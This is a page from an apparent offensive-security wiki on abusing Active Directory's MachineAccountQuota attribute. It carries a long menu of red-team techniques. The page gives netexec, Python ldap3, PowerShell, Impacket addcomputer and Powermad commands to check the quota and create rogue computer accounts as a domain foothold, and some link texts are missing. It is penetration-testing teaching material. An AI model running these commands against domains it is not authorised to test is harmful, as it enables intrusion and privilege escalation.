Infiltr8: The Red-Book
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  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
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    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
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        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
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        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
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            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
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        • Logon Triggered Persistence
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        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
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        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
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        • File Operations
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      • Obfuscation
        • PowerShell Obfuscation
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        • 🛠️PE Obfuscation
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      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
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        • FIle/Folder ACLs
        • Knowing your Shell
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      • Linux
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      • Windows
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          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
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            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
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          • Ruby
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        • Scheduled tasks
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        • Linux Active Directory
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        • Linux
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      • Impersonation
    • Lateral Movement
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  • Network Pentesting
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  • Active Directory Pentesting
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      • Built-ins & settings
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  • 🛠️Cloud & CI/CD Pentesting
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            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
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        • Role-Based Access
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      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
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On this page
  • Theory
  • Practice
  • Check the value
  • Create a computer account
  • Resources

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  1. Active Directory Pentesting
  2. Movement
  3. Built-ins & settings

MachineAccountQuota

Last updated 1 year ago

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Theory

MachineAccountQuota (MAQ) is a domain level attribute that by default permits unprivileged users to attach up to 10 computers to an Active Directory (AD) domain ()

Practice

There are multiple ways attackers can leverage that power.

  • , to domain controllers using LDAPS, and take advantage of authenticated sessions to create a domain computer account. This account can then be used as a foothold on the AD domain to operate authenticated recon (i.e. for example)

  • Create a computer account and use it for when leveraging owned accounts with sufficient permissions (i.e. ACEs like GenericAll, GenericWrite or WriteProperty) against a target machine

  • Create a computer account and use it for a attack when leveraging owned accounts with sufficient permissions (i.e. the SeEnableDelegationPrivilege user right)

  • Profit from special rights that members of the Domain Computers group could inherit

  • Profit from special rights that could automatically be applied to new domain computers based on their account name

Check the value

The module (for ) can be used to check the value of the MachineAccountQuota attribute.

netexec ldap $DOMAIN_CONTROLLER -d $DOMAIN -u $USER -p $PASSWORD -M maq

Alternatively, it can be done manually with the following Python code.

import ldap3

target_dn = "DC=domain,DC=local" # change this
domain = "domain" # change this
username = "username" # change this
password = "password" # change this

user = "{}\\{}".format(domain, username)
server = ldap3.Server(domain)
connection = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
connection.bind()
connection.search(target_dn,"(objectClass=*)", attributes=['ms-DS-MachineAccountQuota'])
print(connection.entries[0])

In order to run the following commands and tools as other users, testers can check the part.

The following command, using the 's cmdlets Get-ADDomain and Get-ADObject, will help testers make sure the controlled domain user can create computer accounts (the MachineAccountQuota domain-level attribute needs to be set higher than 0. It is set to 10 by default).

Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

Create a computer account

addcomputer.py -computer-name 'SHUTDOWN$' -computer-pass 'SomePassword' -dc-host $DomainController -domain-netbios $DOMAIN 'DOMAIN\anonymous:anonymous'
$password = ConvertTo-SecureString 'SomePassword' -AsPlainText -Force
New-MachineAccount -MachineAccount 'PENTEST01' -Password $($password) -Verbose

While the machine account can only be deleted by doman administrators, it can be deactivated by the creator account with the following command using the Powermad module.

Disable-MachineAccount -MachineAccount 'PENTEST01' -Verbose

Testers need to be aware that the MAQ attribute set to a non-zero value doesn't necessarily mean the users can create machine accounts. The right to add workstations to a domain can in fact be changed in the Group Policies. Group Policy Management Console (gpmc.msc) > Domain Controllers OU > Domain Controllers Policy > Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assigments > Add workstations to domain

Resources

The script (Python) can be used to create a computer account, using the credentials of a domain user the the MachineAccountQuota domain-level attribute is set higher than 0 (10 by default).

Testers can also use instead with the --add-computer option, like

When using 's addcomputer script for the creation of a computer account, the "SAMR" method is used by default (instead of the LDAPS one). At the time of writing (10th of December, 2021), the SAMR method creates the account without SPNs.

The module (PowerShell) can be used to create a domain computer account.

Impacket
addcomputer
ntlmrelayx
this
Impacket
Powermad
source
Force client authentications
relay those authentications
with BloodHound
MachineAccountQuota
NetExec
user impersonation
PowerShell ActiveDirectory module
Kerberos RBCD attacks
Kerberos Unconstrained Delegation
LogoMachineAccountQuota is USEFUL Sometimes: Exploiting One of Active Directory's Oddest SettingsNetSPI
LogoThe Most Dangerous User Right You (Probably) Have Never Heard Of - harmj0yharmj0y
LogoActive Directory: How to Prevent Authenticated Users from Joining Workstations to a Domain - TechNet Articles - United States (English) - TechNet Wiki